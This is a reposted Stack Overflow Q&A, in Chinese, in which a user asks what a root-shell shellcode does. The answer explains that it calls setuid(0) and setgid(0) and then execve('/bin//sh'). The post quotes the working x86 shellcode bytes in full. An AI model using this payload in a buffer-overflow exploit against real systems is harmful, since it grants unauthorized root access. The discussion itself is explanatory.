gpt4 book ai didi

c - 解释 shellcode

转载 作者:行者123 更新时间:2023-11-30 21:34:34 28 4
gpt4 key购买 nike

我正在使用缓冲区溢出调用 shellcode 来生成根 shell。有人能解释一下这个 shellcode 到底做了什么吗?我尝试过不同的 shellcode 来生成根 shell,但这是唯一对我有用的。

\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd
\x80

最佳答案

乍一看,代码似乎先执行 setuid(0),然后执行 setgid(0),然后调用 sys_execve()一些值(其中包括 "/bin//sh" 的 ASCII 代码)。

看起来这是纯粹的“有效负载”代码,因为我没有看到任何可以确保代码首先执行的内容(缓冲区溢出、堆栈粉碎等)。

(感谢@Hans Lub 提供反汇编器链接)

关于c - 解释 shellcode,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27171369/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com